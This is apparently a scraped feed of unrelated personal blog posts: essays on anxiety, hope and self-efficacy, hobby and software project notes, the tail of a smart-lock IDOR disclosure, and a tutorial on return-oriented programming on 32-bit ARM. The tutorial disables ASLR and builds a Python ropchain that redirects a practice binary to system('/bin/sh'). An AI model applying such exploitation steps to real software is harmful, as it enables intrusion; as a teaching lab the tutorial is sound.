To add to that, roughly 15,000 user accounts’ info are exposed via IDOR. Ilja, a cool dude I met on Telegram, noticed locks named “carlock”, “garage”, “MainDoor”, etc.2 This is terrifying.


Proof of Concept

PoC Video

Exploit code

Disclosure timeline

  • 26th June, 2019: Issue discovered at SecureLayer7, Pune
  • 27th June, 2019: Vendor notified about the issue
  • 2nd July, 2019: CVE-2019-13143 reserved
  • No response from vendor
  • 2nd August 2019: Public disclosure

Lessons learnt

DO NOT. Ever. Buy. A smart lock. You’re better off with the “dumb” ones with keys. With the IoT plague spreading, it brings in a large attack surface to things that were otherwise “unhackable” (try hacking a “dumb” toaster).

The IoT security scene is rife with bugs from over 10 years ago, like executable stack segments3, hardcoded keys, and poor development practices in general.

Our existing threat models and scenarios have to be updated to factor in these new exploitation possibilities. This also broadens the playing field for cyber warfare and mass surveillance campaigns.

Researcher info

This research was done at SecureLayer7, Pune, IN by:

  1. This article discusses a similar smart lock, but they broke the encryption. 

  2. Thanks to Ilja Shaposhnikov (@drakylar). 

  3. PDF 


(雨山) Chocolate Rage and Self-Efficacy


I’ve half-jokingly said before that I experience “chocolate rage.” That is, when I eat too much chocolate, I become extremely irritable and even aggressive. I also feel an unusually high amount of fear and an overwhelming desire to be alone and to hide in a corner. I mean that literally, by the way. Like, if I could climb into a very tiny closet in the most remote part of the house and shut the door and turn off the lights while I’m in a chocolate rage, I’d gladly do so. I told my students about this problem once, and they laughed at me. They apparently had a hard time believing that mild-mannered Mr. Castle could ever get angry about anything. So, my “aggressive” may not look like someone else’s…but my wife and daughter can surely attest to the fact that I really do become a quite different animal after consuming chocolate. And I’m not alone: chocolate rage is apparently a real phenomenon, though of course not everyone has that reaction.

Anyway, I’m really writing this post to document a feature of anxiety and/or depression that I’ve noticed lately. Side note: isn’t it interesting how we become more attuned to ourselves as we age, even well into adulthood? Several decades (and maybe even our entire lives) are spent learning to recognize our bodies’ signals. My daughter, for example, doesn’t recognize that she has to go to the bathroom until she’s about to burst. But I find that I can notice that particular urge long before I hit critical mass, and I also have a pretty good sense for how long I can hold it. Similarly, we probably spend decades (and maybe even our entire lives) getting to know our own minds. I’m of the opinion that the mind is what the brain does, and that, because the brain is an organ and can get sick or break down like any other body part, the contents of our thoughts and feelings can become quite strange, terrifying, and alienating (though they may not always be perceived that way by the person entertaining them). It annoys me a little to have to defend this point, but I still know too many people who treat the mind as connected to or even perhaps synonymous with an immaterial soul and who therefore believe that minds are somehow unaffected by bodies. This view seems utterly untenable to me, since we’ve surely all known people whose minds were changed by mental illness, stroke, or head injury. I don’t believe in souls; but even if I did, I’m sure I’d still believe that minds are completely disconnected from the soul and completely connected to the body because of how I’ve seen people’s minds change as their brains change. But I say all that to say that introspection—the mind getting to know the mind—is a strange phenomenon, isn’t it? Does your liver get to know itself? And to make introspection even more difficult, so much of what happens in our brains is inaccessible to us; i.e., a lot of it is subconscious. But maybe that’s not so different from getting to know the rest of the body, you know? After all, it happily carries out its functions without our conscious regulation, and it’s probably usually the case that we only become aware of its inner workings when something starts malfunctioning. So, maybe that’s the best way of thinking about what prompts us to take stock of our mental states: when something starts malfunctioning, we start scrounging around for the owner’s manual.

I wasn’t aware for years that I struggled with anxiety until a doctor suggested it to me. I had come in to get checked out for chest pains and heart palpitations. She ran an EKG, and everything came back normal there. But I had high blood pressure, and she probably also noticed that I was breathing fast and looking generally very scared. She recommended that I cut caffeine out of my diet for a while. I did, and I noticed a drastic change in my mental state over the course of several weeks as my adrenaline levels and blood pressure and heart rate dropped back to normal. That was the very first time that I became aware (but only dimly then) that my mind wasn’t a good guide to the state of the world, that there was a difference between the raw sense data and the responses my mind generated to those data, and that the mind could perform its own powerful positive feedback loops without external input. (I use “positive” here to mean amplification as opposed to attenuation, not to denote something happy or good.) I could’ve derived the same conclusion from the fact that dreams can be so horrifying and yet utterly disconnected from sense data, but somehow it never occurred to me. But anyway, that was only the beginning of self-awareness for me. Years later, after wondering why I kept finding myself in such violent moods, I finally noticed the correlation between eating chocolate and wanting to tear people’s heads off. And there have been other discoveries along the way, including recognizing many symptoms that at times could probably have been diagnosed as clinical depression.

As I said, I really just want to focus this post on a single feature of my mental furniture of which I’ve become aware recently: self-efficacy. Wikipedia says that self-efficacy is “an individual’s belief in their innate ability to achieve goals.” I’ve struggled for years to start good habits but have honestly never yet succeeded. I used to blame and shame myself for this failure a lot. I used to believe that my lack of ability to create good habits was caused by a lack of good character traits, that I was lazy or cowardly or undesirous of change at some deep or subconscious level. It may be the case, of course, that such a diagnosis is accurate; but I’ve also come to believe that at least a huge part of my ability to make good decisions boils down to whether or not I believe that success is possible. And to be honest, most of the time I don’t believe that it’s possible. Yes, I’m aware that such a disbelief is a self-fulfilling prophecy. At the moment, though, I’m not interested in how our beliefs shape our actions or inactions; I’m interested in how we arrive at those beliefs in the first place. I’ve wanted for years to get into the habit of exercising regularly and maybe fasting intermittently, and I have mostly been unable to do those things for any extended period of time. But two discoveries this summer have at least given me insight into what may be preventing me from creating good habits. First, I noticed that consuming caffeine—usually by drinking regular coffee—makes me feel superhuman for a while. I feel like anything is possible. I can focus for hours on a project without feeling bored or tired, I want to get out and exercise, and everything about the world—even the mundane stuff—seems wonderful and interesting. (Too much caffeine also has the negative side effect, though, of making me extremely anxious, as I described above.) Second, I was able to run three or four times a week regularly for about a month this summer, which is a huge achievement for me. I was becoming increasingly aware of how sensitive my motivation was to things like lack of sleep, stress, and chocolate, so I was specifically trying to take care of myself on those fronts as a way of improving my chances for success in running. And it worked for a while!

Before my wife had post-partum depression, I’d never thought much about depression in general, and to be honest, I don’t think I really believed that depression was a real thing. I think I just thought that it was people being sad a lot. But I’ve seen and experienced so many facets of it now that I cringe to think about how naive I was. Anyway, one facet of depression that in my opinion doesn’t get enough press is the fact that depression makes it hard to do things. It makes getting out of bed hard. It makes getting out of the house hard. It makes spending time around people hard. It makes adulting especially hard. I’m no psychologist, but my guess is that depression makes things so hard to do because it deflates a person’s feelings of self-efficacy. Everything seems impossibly hard, seems to require an infinite amount of energy, seems unlikely to succeed, seems unlikely to matter even if it does succeed.

So, I think I can draw a few conclusions from these findings. (1) My inability to create good habits for myself seems directly related to my poor sense of self-efficacy. (2) My poor sense of self-efficacy is mostly not rooted in reality. In reality, I actually have a working physical body and a mostly-working mind, with the ability to learn and apply new skills. But I feel that things are impossibly hard, that they require amounts of energy that I’ve never possessed and never will possess. And (3) it’s possible to improve my sense of self-efficacy at least a little bit—even in the face of depression or anxiety—by changing my sleep habits, my diet (by avoiding chocolate especially), my physical activity, my physical location (by being out of the house more), and my contact with others. As I heard someone say recently: practicing self-care won’t guarantee victory over the symptoms of depression, but not practicing self-care will guarantee defeat at their hands.

I haven’t discovered anything here that psychologists don’t already know. But the interesting thing to me, I suppose, is that I’ve discovered these things about myself. I’m apparently a moron, too, because I’ve heard all that stuff about self-care before, but somehow its significance and the reasoning behind it just never registered with me. Anyway, I put this all down mainly so I could remember and reference it later. But I hope you’ve found something worthwhile in it for yourself!

James Chip

A bad one page rpg


First of all I want to stress that you should not ever play this game. EVER! It is bad. That being said let me enlighten you as to how this game came to exist. One evening me and an old friend were having a quiet drink at the pub, one drink turned into a few and the conversation eventually turned to rpg’s and his recent trip to the dentist. Somehow this turned into could you make a one page rpg about a dentist that was both fun and also had a dentistry themed mechanic baked in?

serocell - media feed

adequate images


James Chip

Mini for DnD


I recently got involved in a DnD game again and needed a mini for my character. I ended up going for Luwin Phost from Reaper and painted him in a rather fetching orange and grey. I didnt have a lot of time to get it done but I am happy with how it came out. From what I can remeber these are the main colours used. Orange Base Jokaero orange Wash Agrax Earthshade Layer Troll Slayer Orange Highlight Fire Dragon Bright Grey Base Mechanicus Standard Wash Nuln Oil Layer Dawnstone Highlight Administratum Grey Beard Base Ulthuan Grey Wash Nuln Oil Highlight Ulthuan Grey


defMON, VICE, and the Pocket CHIP


This post details the process I went through to setup and configure VICE (the VersatIle Commodore Emulator) on the Pocket CHIP to run defMON. While my end goal here is to be able to run defMON from the homepage launcher of the Pocket CHIP, you can follow this setup process (ignoring the defMON stuff) to have a working Commodore emulator. This will allow you to run any number of C64 games, applications, or wild demo packages on the Pocket CHIP.

serocell - media feed




(雨山) Compendium


So, as you may know, I’m part of a webring. But a fun fact about the webring is that some people in that little community have wikis. And an even more fun fact is that we’ve agreed to start using a common data format, Indental, for our wikis. This means that it’s now possible and even easy to parse and compile those wikis into a single larger wiki—which is what I’ve done with a new tool I’ve made called Compendium! Compendium is an offline-first compilation of the webring’s wikis, and it’s browsable via the command line! Have a look at the docs to get started!

Also note that the webring’s founder, @neauoire, made a similar tool here for use in the web browser.


Post on phse.net

Naive Sudoku


Recently I helped my brother rewrite a sudoku solver he had been hacking on. His original implementation did some smart look-ahead to determine quickly which cells of the puzzle could be inferred from surrounding columns, rows, and regions. We were curious, though, to see how this would compare to a naive solver. Our naive solver can only decide what number to put in a cell based on its own row, column, and region (3x3 square).

serocell - media feed




Psychological Bar Reviews (6)


The mezzanine level of Sightglass is bustling at this time of the day, making the fact that the lower floor is designed to hold a maximum of ten patrons at full capacity all the more commendable.

Along the bar, a free as in coffee startup consultation is taking place, the vocal fry soothing over whatever deep domain experience, human ressources and management background is relayed to two young trucker-jackeded entrepreneurs. The phrase fermented time is uttered and followed by a pause for added effect.

Despite the amount of business conducted in the former warehouse, the overall mood remains calm and Californian. It’s friday after all. Down below, the barista adjusts the small red comb in his sizeable afro after pulling what is presumeably the four hundred twenty second espresso shot of the day. He wipes a hand on his Queen shirt, skull motif. It has been a long day. Outside, the clouds lay heavy and low on the sightlines to downtown and Telegraph Hill. A single slim figure disappears into the haze. The dogs keep barking and a week proceeds to wind down.

Sightglass Coffee, SoMa, San Francisco.


Es fehlen die Beweise


Rockmusik hat gemeinhin wenige Antworten auf meine Fragen dieser Jahre, unsinnig ist die Aufrichtigkeit und die unbeholfene Suche nach Ausdruck und Wahrheit hier und jetzt. Aber einmal in zwei Jahren scheint Raum für das Widersetzen, für den schönen Trotz und die Anmaßung zu sein, der Welt auf Augenhöhe entgegen zu treten. 2017 haben Belgrad ihr selbstbetiteltes erstes Album veröffentlicht, und es hat diese Zeit gebraucht, um zu mir zu finden1.

Belgrad ist eine schwarze Platte und eine schwarze Gruppe. Ein großes Gewicht zieht diese Musik nach unten, der Sog ist in jeder Minute spürbar. Nichts hier ist ironisch – acht Songs Schichtarbeit: Es ist das düstere Momentum schwerer Popmusik, das Wühlen im Selbst (ich muss an den Klappentext eines der blauen Bücher von Rainald Goetz denken, Wütend schritt ich voran). Musik für einen grimmigen, klaren Gemütszustand nicht ohne Schmerzen, aber ohne Kälte. Ich habe das schon einmal besser über ganz ähnliche Musik gesagt: Regen und Füße auf Asphalt, die Fundamente aller Dinge.

So wenig innovativ Belgrad ist, so klar seine Referenzen sind – so sorgsam ist alles zusammengesetzt, so taktil und freigelegt und ohne Affekt ist jedes Gefühl. Es ist zu spüren im Rauschen zu Beginn von Niemand, im öligen Groove von Eisengesicht und im Sustain und Release des monumentalen Ravetracks namens Westen: Nichts Aufrichtiges ist peinlich, nichts Furchtloses ist vergebens.

Beyond the train station, I look up. The grey sky refuses to let me feel anything.

  • Belgrad – s/t, LP. Zeitstrafe, 2017.
  1. Belgrad werden gerade Sarah’s Nachbarn, es ließ sich nicht vermeiden.

serocell - media feed




Architecture Modernity Death Love


The Heathrow Hilton is my favorite building in London. It’s part space-age hangar and part high-tech medical centre. It’s clearly a machine, and the spirit of Le Corbusier lives on in its minimal functionalism. […] Inside, it’s a highly theatrical space, dominated by its immense atrium. […] Most hotels are residential structures, but rightly the Heathrow Hilton plays down this role, accepting the total transcience that is its essence, and instead turns itself into a huge departure lounge, as befits an airpot annexe. Sitting in its atrium one becomes, briefly, a more advanced kind of human being. Within this remarkable building one feels no emotions and could never fall in love, or need to. — J.G.B, Notes on Love, Death, Architecture and Modernity. Kompiliert von Studio Muoto.

serocell - media feed




(雨山) Notes Update


I updated the Notes app, and you can see the live version here. I went away from that project for a long time and tried to use other note-taking apps. In the end, they all still rubbed me the wrong way. So, I rebuilt my Notes app again, this time using Direbase and ensuring that the notes were end-to-end encrypted. I’m not a crypto expert, and some of the functionality is still under construction — so use with caution. The source is here if you want to dig through it or host your own instance!

Szymon Kaliski

Nótt — standalone looper and granular instrument


Nótt contains six independent loops, up to 8 seconds long, including speed control, sublooping, reverse playing, and custom granular mode. It combines my previous hardware looper experiment and my diy monome research.

serocell - media feed

the shock of photography


Szymon Kaliski

volume-brush — painting in 3d space


volume-brush is a volumetric brush implementation, inspired and adapted from toxiclibs.

serocell - media feed



serocell - media feed



serocell - media feed



Post on phse.net

How I organize project notes


Either I’ve been distracted by a particularly resonant book or article, or I’ve had too much coffee, but either way I sometimes find it hard to concentrate on the task at hand. My strategy is to use a template which I keep in my project folders in order to pick up where I left off. I find it helps me be productive when my mind is elsewhere. It could be compared to Getting Things Done or Org mode, but I won’t compare it to them myself since I am not familiar with them beyond their names and purpose.

icyphox's blog

Return Oriented Programming on ARM (32-bit)


Before we start anything, you’re expected to know the basics of ARM assembly to follow along. I highly recommend Azeria’s series on ARM Assembly Basics. Once you’re comfortable with it, proceed with the next bit — environment setup.


Since we’re working with the ARM architecture, there are two options to go forth with:

  1. Emulate — head over to qemu.org/download and install QEMU. And then download and extract the ARMv6 Debian Stretch image from one of the links here. The scripts found inside should be self-explanatory.
  2. Use actual ARM hardware, like an RPi.

For debugging and disassembling, we’ll be using plain old gdb, but you may use radare2, IDA or anything else, really. All of which can be trivially installed.

And for the sake of simplicity, disable ASLR:

$ echo 0 > /proc/sys/kernel/randomize_va_space

Finally, the binary we’ll be using in this exercise is Billy Ellis’ roplevel2.

Compile it:

$ gcc roplevel2.c -o rop2

With that out of the way, here’s a quick run down of what ROP actually is.

A primer on ROP

ROP or Return Oriented Programming is a modern exploitation technique that’s used to bypass protections like the NX bit (no-execute bit) and code sigining. In essence, no code in the binary is actually modified and the entire exploit is crafted out of pre-existing artifacts within the binary, known as gadgets.

A gadget is essentially a small sequence of code (instructions), ending with a ret, or a return instruction. In our case, since we’re dealing with ARM code, there is no ret instruction but rather a pop {pc} or a bx lr. These gadgets are chained together by jumping (returning) from one onto the other to form what’s called as a ropchain. At the end of a ropchain, there’s generally a call to system(), to acheive code execution.

In practice, the process of executing a ropchain is something like this:

  • confirm the existence of a stack-based buffer overflow
  • identify the offset at which the instruction pointer gets overwritten
  • locate the addresses of the gadgets you wish to use
  • craft your input keeping in mind the stack’s layout, and chain the addresses of your gadgets

LiveOverflow has a beautiful video where he explains ROP using “weird machines”. Check it out, it might be just what you needed for that “aha!” moment :)

Still don’t get it? Don’t fret, we’ll look at actual exploit code in a bit and hopefully that should put things into perspective.

Exploring our binary

Start by running it, and entering any arbitrary string. On entering a fairly large string, say, “A” × 20, we see a segmentation fault occur.

string and segfault

Now, open it up in gdb and look at the functions inside it.

gdb functions

There are three functions that are of importance here, main, winner and gadget. Disassembling the main function:

gdb main disassembly

We see a buffer of 16 bytes being created (sub sp, sp, #16), and some calls to puts()/printf() and scanf(). Looks like winner and gadget are never actually called.

Disassembling the gadget function:

gdb gadget disassembly

This is fairly simple, the stack is being initialized by pushing {r11}, which is also the frame pointer (fp). What’s interesting is the pop {r0, pc} instruction in the middle. This is a gadget.

We can use this to control what goes into r0 and pc. Unlike in x86 where arguments to functions are passed on the stack, in ARM the registers r0 to r3 are used for this. So this gadget effectively allows us to pass arguments to functions using r0, and subsequently jumping to them by passing its address in pc. Neat.

Moving on to the disassembly of the winner function:

gdb winner disassembly

Here, we see a calls to puts(), system() and finally, exit(). So our end goal here is to, quite obviously, execute code via the system() function.

Now that we have an overview of what’s in the binary, let’s formulate a method of exploitation by messing around with inputs.

Messing around with inputs :^)

Back to gdb, hit r to run and pass in a patterned input, like in the screenshot.

gdb info reg post segfault

We hit a segfault because of invalid memory at address 0x46464646. Notice the pc has been overwritten with our input. So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.

Since we know the offset at which the pc gets overwritten, we can now control program execution flow. Let’s try jumping to the winner function.

Disassemble winner again using disas winner and note down the offset of the second instruction — add r11, sp, #4. For this, we’ll use Python to print our input string replacing FFFF with the address of winner. Note the endianness.

$ python -c 'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")' | ./rop2

jump to winner

The reason we don’t jump to the first instruction is because we want to control the stack ourselves. If we allow push {rll, lr} (first instruction) to occur, the program will pop those out after winner is done executing and we will no longer control where it jumps to.

So that didn’t do much, just prints out a string “Nothing much here…”. But it does however, contain system(). Which somehow needs to be populated with an argument to do what we want (run a command, execute a shell, etc.).

To do that, we’ll follow a multi-step process:

  1. Jump to the address of gadget, again the 2nd instruction. This will pop r0 and pc.
  2. Push our command to be executed, say “/bin/sh” onto the stack. This will go into r0.
  3. Then, push the address of system(). And this will go into pc.

The pseudo-code is something like this:

gadget = # addr of gadget
binsh  = # addr of /bin/sh
system = # addr of system()

print(string + gadget + binsh + system)

Clean and mean.

The exploit

To write the exploit, we’ll use Python and the absolute godsend of a library — struct. It allows us to pack the bytes of addresses to the endianness of our choice. It probably does a lot more, but who cares.

Let’s start by fetching the address of /bin/sh. In gdb, set a breakpoint at main, hit r to run, and search the entire address space for the string “/bin/sh”:

(gdb) find &system, +9999999, "/bin/sh"

gdb finding /bin/sh

One hit at 0xb6f85588. The addresses of gadget and system() can be found from the disassmblies from earlier. Here’s the final exploit code:

import struct

binsh = struct.pack("I", 0xb6f85588)
gadget = struct.pack("I", 0x00010550)
system = struct.pack("I", 0x00010538)

print(string + gadget + binsh + system)

Honestly, not too far off from our pseudo-code :)

Let’s see it in action:

the shell!

Notice that it doesn’t work the first time, and this is because /bin/sh terminates when the pipe closes, since there’s no input coming in from STDIN. To get around this, we use cat(1) which allows us to relay input through it to the shell. Nifty trick.


This was a fairly basic challenge, with everything laid out conveniently. Actual ropchaining is a little more involved, with a lot more gadgets to be chained to acheive code execution.

Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.

Post on phse.net

Choose people, not projects


It’s normal for people to want to be fulfilled by the activities which they spend the most time doing. Fulfillment is a tricky thing to gauge because it’s highly dependent on the individual, and it can change over time. What is fulfilling to you today might be boring or irrelevant tomorrow. There may also be levels of fulfillment, each level needing to be met in order to feel overall satisfied with work or play.

Gokberk Yaltirakli

Gopher Server in Rust


I find Gopher really cool. I think it’s a really nice way to organize information into trees and hierarchies, and as we all know programmers can’t resist trees. So recently I took an interest in Gopher and started writing my own server.

serocell - media feed




(雨山) Site Update


UPDATE #2: Well, in the end, I didn’t like this new build system very much. I mean, parts of it were nice, but it ended up feeling overly complicated. Also, I just like JS-free sites so damn much. So, we’re back to Jekyll again!

UPDATE: So, I went ahead and implemented my last suggestion. So, now, instead of downloading one giant-ass JSON file for the whole site, you only download a ~17KB JSON file! Then, when you request a particular blog post, the relevant Markdown file is downloaded client-side. Hooray!

So, I’ve made a major update to this site. Where it was previously a bunch of JS-free static files, it’s now a single-page web app. Why the change? Well, I’ve basically been wanting for a while to make the site more flexible and adaptable. Liquid templates were holding me back; I could only do so much data-wise with them. I wanted, for example, to have a page that organized the blog posts by tag. That was technically possible with Liquid but agonizingly tedious to work out in practice in that system. Now, however, I can import all of the site data with JS and do whatever I want with it.

So, the new system works like this: I write my pages and posts in Markdown with front-matter (just like Jekyll / Liquid), but then I parse and compile them on the back end into a single, giant JSON file and an RSS / XML file. Then, on the front end, I fetch the JSON file and display the pages and posts in components using Vue.

I went back and forth about making this change for a long time because I really like JS-free sites. The web has become so bloated that the vast majority of sites are a pain to use. The old version of this site didn’t have JS at all, and it was super fast, and I loved that about it. But I also decided eventually that it wasn’t necessary to throw the baby out with the bath water and that I could still have a relatively fast site that incorporated JS. There are probably lighter frameworks than Vue out there that would’ve made things even faster, but Vue is the one I know best, so it made the most sense for me right now. And perhaps there’s a trade-off between speed and flexibility, but in this case, I was willing to trade what I saw as a massive increase in flexibility for a negligible (or maybe even non-existent) decrease in speed. I also see this as an experiment, and I’ll be keeping a close eye on it for the next few weeks and months to see if it was worth it. Obviously, as the number of posts becomes increasingly large, the whole-site JSON file will grow proportionally, and the time to download will grow proportionally. In that sense, static files would win easily in a speed contest. So, maybe it’ll make sense eventually to do something else, like compiling only an index for the posts and downloading only that index on the front end initially — until a user requests a particular page, at which time I’d download and parse the Markdown file client-side. In fact, I may start working on something like that next.

Anyway, if you’re interested in looking through the source, it’s here. Later!

serocell - media feed



serocell - media feed




(雨山) Hope


When I was in high school (a private, Christian high school), we sang a song in choir that I loved called “Oh, How Can I Keep From Singing?” by Robert A. Harris. I could only find about two recordings of it on YouTube, and here’s the better one. And here are the lyrics:

My life flows on in endless song
    above earth's lamentation.
I hear the real though far-off hymn
    that hails a new creation.
No storm can shake my inmost calm;
    I hear the music ringing:
It sounds and echoes in my soul—
    oh, how can I keep from singing?
What, though the tempest 'round me roars?
    I know the truth; it liveth!
What, though the darkness 'round me falls?
    Songs in the night it giveth.
No storm can shake my inmost calm;
    I hear the music ringing:
Since Love is Lord of heav'n and earth,
    oh, how can I keep from singing?

I still think it’s a beautiful song; some of the harmonies are quite haunting, and I’m a sucker for Picardy thirds approached step-wise. 😀

It actually took me a while to hunt down this recording; I couldn’t remember who the composer was, and there are many different settings of the original text and many arrangements of the original hymn. As I was trawling through a billion YouTube recordings of the other settings, I noticed that they were all, well … shallow and irritating, to be honest. Most of them were in major keys with moderate or fast tempos. There was even some syncopation! (*clutches pearls*) Admittedly, the Harris version was the first setting of the text I ever encountered, so it’s quite natural that my opinion of what an “appropriate” setting of the text should sound like was inevitably shaped by him. However, I found even in my last few years in Christianity that “happy” songs rarely fit my experience. Life, as the Buddhists say, is suffering. If you believe that there’s an all-powerful, all-knowing, all-good God out there who has your best interests at heart, who’ll lift up the oppressed and punish the oppressors, and who’ll save you from death by whisking you off to eternity in paradise with him after you die, then of course you have something to be happy about. But that doesn’t negate the fact that our experiences while we’re living can be quite close to the popular image of hell: eternal conscious torment. And, as C.S. Lewis said, sometimes loss is real; sometimes, things get lost in such a way that even God can’t or won’t bring them back, and they’re simply gone forever. Harris’ minor setting of the song captures some of that suffering and loss in a way that other settings don’t. I’m not saying that all happy songs need to be minor, but I do think that songs that purport to examine the totality of experience shouldn’t be flippant or blasé about the actual state of things.

Well, anyway, you know that I’m agnostic about religion, so I’m no longer able to share in the Christian feeling of hope, a hope built on “the real though far-off hymn that hails a new creation” and “the truth” that “liveth” and the fact that “Love is Lord of heav’n and earth” — which sucks because it’s nevertheless still the case that “the tempest ‘round me roars” and “the darkness ‘round me falls.” I don’t really want to dive into the details right now lest my blood boil out my ears, but I’m quite convinced that the world is on the brink of a handful of catastrophes. Between climate destabilization, Trump and other aspiring fascists, the upcoming American constitutional crisis and possible civil war, Brexit and other populist movements around the globe, the breakdown of nuclear arms treaties, antibiotic resistance and potential pandemics, etc., we seem to be barrelling towards a variety of existential crises as quickly as we possibly can. I would love to have some hope right now of the kind Christians feel, the kind of hope not based in circumstances but based on something fixed and eternal. I’ve talked to some friends about my fears, and they’ve said things like, “Well, we have to hope that Republicans will eventually do the right thing,” or “Well, the 2020 election is coming up soon; maybe we’ll vote them out of office.” But what happens if Republicans continue forever down their current path of treason, corruption, and authoritarianism? What happens if we lose all the 2020 elections? “Well, at least we’ll have another shot in 2024 … “ No! That’s not good enough for me! I need a hope that’s not conditional! If my hope, and therefore my sanity, is contingent upon what’s going on right now, then I might as well go ahead and embrace despair and madness. Robert Wadsworth Lowry, the man who wrote the original hymn, seemed to feel that he had hope regardless of what was going on around him, that even though darkness was falling and a storm was roaring around him, he felt a calm and a joy and an assurance that nothing could ultimately harm him. Christians often quote from the apostle Paul’s letter to the Christians in Rome, which expresses a similar sentiment:

“Who will separate us from the love of Christ? Will hardship, or distress, or persecution, or famine, or nakedness, or peril, or sword? As it is written, ‘For your sake we are being killed all day long; we are accounted as sheep to be slaughtered.’ No, in all these things we are more than conquerors through him who loved us. For I am convinced that neither death, nor life, nor angels, nor rulers, nor things present, nor things to come, nor powers, nor height, nor depth, nor anything else in all creation, will be able to separate us from the love of God in Christ Jesus our Lord.” — Romans 8:35-39 (NRSV)

It would be wonderful if there was a secular version of this. The closest thing I’ve yet found is Martin Luther King, Jr.’s famous quote (which was a paraphrasing of a snippet from a sermon by Theodore Parker [source]), “The arc of the moral universe is long, but it bends toward justice.” But even that can’t really bear the weight that I want it to bear. For King and Parker, that claim was true because it was a principle derived from the Bible. But because I can’t perform the same derivation, I have to view the claim as being empirical. And because it’s an empirical claim and because we haven’t seen the entirety of history yet, we can’t know with any kind of certainty that the claim is true. The best we can say is that, in some cases, goodness wins over badness; in some cases, justice is done.

But here’s the closest I can get to hope right now: humans are the cause of an absolutely unbelievable amount of suffering in the world — but they’re also the cause of a good amount of the joy in the world. Whether one amount is greater than the other either now or in the future, I don’t know. I tend to be a pessimist on that point, but I’m also skeptical that my perception of the world is accurate. I wish I could have certainty that humans would, in the end, cause greater amounts of joy than of pain, but I simply have no way of being certain. But that’s it. That’s all I’ve got to cling to at the moment. It’s not much, and it’s not fixed and eternal, but I’ve got to find some source of hope or I’ll lose my everloving mind.

What about you? Do you have any sources of hope that feel sturdy and reliable to you irrespective of circumstances? If so, then I’d like to hear about them. Feel free to email me if you’d like to pass along some comments or questions. Thanks for reading!

serocell - media feed



icyphox's blog

My Setup



The only computer I have with me is my HP Envy 13 (2018) (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u, 8 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.

For my phone, I use a OnePlus 6T, running stock OxygenOS. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted. I’m also a proud owner of a Nexus 5, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.

My watch is a Samsung Gear S3 Frontier. Tizen is definitely better than Android Wear.

My keyboard, although not with me in college, is a very old Dell SK-8110. For the little bit of gaming that I do, I use a HP m150 gaming mouse. It’s the perfect size (and color).

For my music, I use the Bose SoundLink II. Great pair of headphones, although the ear cups need replacing.

And the software

My distro of choice for the past ~1 year has been elementary OS. I used to be an Arch Linux elitist, complete with an esoteric window manager, all riced. I now use whatever JustWorks™.

Update: As of June 2019, I’ve switched over to a vanilla Debian 9 Stretch install, running i3 as my window manager. If you want, you can dig through my configs at my dotfiles repo.

Here’s a (riced) screenshot of my desktop.


Most of my work is done in either the browser, or the terminal. My shell is pure zsh, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need a framework. It’s useless bloat. The prompt itself is generated using a framework I built in Nimnicy. My primary text editor is nvim. Again, all configs in my dotfiles repo linked above. I manage all my passwords using pass(1), and I use rofi-pass to access them via rofi.

Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace clean and a single command to drop into a Kali shell.

I use a DigitalOcean droplet (BLR1) as a public filehost, found at x.icyphox.sh. The UI is the wonderful serve, by ZEIT. The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes.

I plan on converting my desktop back at home into a homeserver setup. Soon™.

Gokberk Yaltirakli

Evolving Neural Net classifiers


As a research interest, I play with evolutionary algorithms a lot. Recently I’ve been messing around with Neural Nets that are evolved rather than trained with backpropagation.

Szymon Kaliski

modeler — CSG modeling with React


modeler is a CSG modeling library for React, and a cli helper tool.

serocell - media feed



serocell - media feed



Gokberk Yaltirakli

Plaintext budgeting


For the past ~6 months, I’ve been using an Android application to keep track of my daily spending. To my annoyance, I found out that the app doesn’t have an export functionality. I didn’t want to invest more time in a platform that I couldn’t get my data out of, so I started looking for another solution.

Post on phse.net

Curiosity & Focus


There are two sentiments I come across frequently when talking with creative people: “I should really learn how to do X” where X is some technology or skill. “I don’t feel productive enough” or “I wish I were more organized” or “I’m rewriting my website because…” or one of the other various permutations on the same idea: “I should get my shit together.” I have felt these sentiments often, too.


(雨山) Goodbye, Niamelle


So, a few months ago, I built a set of tools called Niamelle. But I’ve decided to shutter the project because I just wasn’t using it any more. I’m a believer in using your own tools, and I realized that the fact that I wasn’t using it must mean that it wasn’t very useful. It was a good learning experience, but it just had too many flaws, and I wanted it to be too many things. In the future, I think I’ll try harder to build tools that only do one thing well.

In the meantime, I’ll be looking for a place to take notes, a (perhaps separate) place to keep to-do lists, and a place to keep links. I know that there are already plenty of tools that do those things, but I want to find good, cross-platform, privacy-focused FOSS tools, if possible.

I’m still proud of the work I did on Direbase and FileDB; those are probably tools that I’ll continue to use in the future. Anyway, that’s all for now. Later!

Gokberk Yaltirakli

Phone Location Logger


If you are using Google Play Services on your Android phone, Google receives and keeps track of your location history. This includes your GPS coordinates and timestamps. Because of the privacy implications, I have revoked pretty much all permissions from Google Play Services and disabled my Location History on my Google settings (as if they would respect that).

Post on phse.net

A Commonplace Repository


I keep a repository of various things I have learned but can’t possibly remember in totality (or recall quickly). This is useful for computer things because the repository can be cloned and fuzzy-searched (I prefer vim + fzf). If you find yourself frequently searching for the answer to the same problem or reading the same man page, this might be a good method for you as well. My commonplace repo

Post on phse.net



Currently, I’m: Practicing photography and drawing Working at thoughtbot Singing to my 2 cats Obsessing over color Playing the ukulele (poorly)

serocell - media feed




(雨山) Not-So-Great Expectations


Sometimes, we learn lessons in life, but then either forget them or fail to apply them in new situations. I recently noticed that I had done that very thing.

One several occasions over the past year, my wife and I had spent time with some of our closest friends. Each time, a strange thing happened: I came away feeling irritated or even upset. The first time or two it happened, I chalked it up to sleepiness or to a particularly potent bout of introversion. But it kept happening and kept happening. In fact, it was infecting my marriage as well. My wife and I had always gotten along really well, but I began to notice that I was getting more and more irritated with her, too.

